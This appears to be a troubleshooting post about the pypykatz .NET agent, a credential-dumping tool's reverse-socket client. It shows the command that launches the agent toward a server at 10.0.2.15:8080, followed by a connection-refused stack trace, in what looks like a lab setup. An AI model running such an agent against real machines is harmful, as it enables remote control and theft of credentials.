Hi
Running pypyserver on Ubuntu, no firewall running, server part is listning on port 8080, when try to run the .net agent on windows endpoint, I get the error displayed on the screen dump.

Please advice. Thanks

C:\Users\toor\Desktop\pypykatz_agent_dn\pypyagent\bin\Debug>pypyagent.exe 10.0.2.15 8080
Trying to connect to server
Failed to connect to server! Reason: System.Net.Sockets.SocketException (0x80004005): No connection could be made because the target machine actively refused it 10.0.2.15:8080
at System.Net.Sockets.TcpClient..ctor(String hostname, Int32 port)
at pypyagent.PYPYReverseSocketTransport.connect() in C:\Users\victim\Desktop\pypykatz_agent_dn\pypyagent\transport.cs:line 21
at pypyagent.PYPYagent.run() in C:\Users\victim\Desktop\pypykatz_agent_dn\pypyagent\agent.cs:line 24

Unhandled Exception: System.NullReferenceException: Object reference not set to an instance of an object.
at pypyagent.PYPYReverseSocketTransport.readCMD() in C:\Users\victim\Desktop\pypykatz_agent_dn\pypyagent\transport.cs:line 32
at pypyagent.PYPYagent.run() in C:\Users\victim\Desktop\pypykatz_agent_dn\pypyagent\agent.cs:line 35
at pypyagent.Program.Main(String[] args) in C:\Users\victim\Desktop\pypykatz_agent_dn\pypyagent\Program.cs:line 33

C:\Users\toor\Desktop\pypykatz_agent_dn\pypyagent\bin\Debug>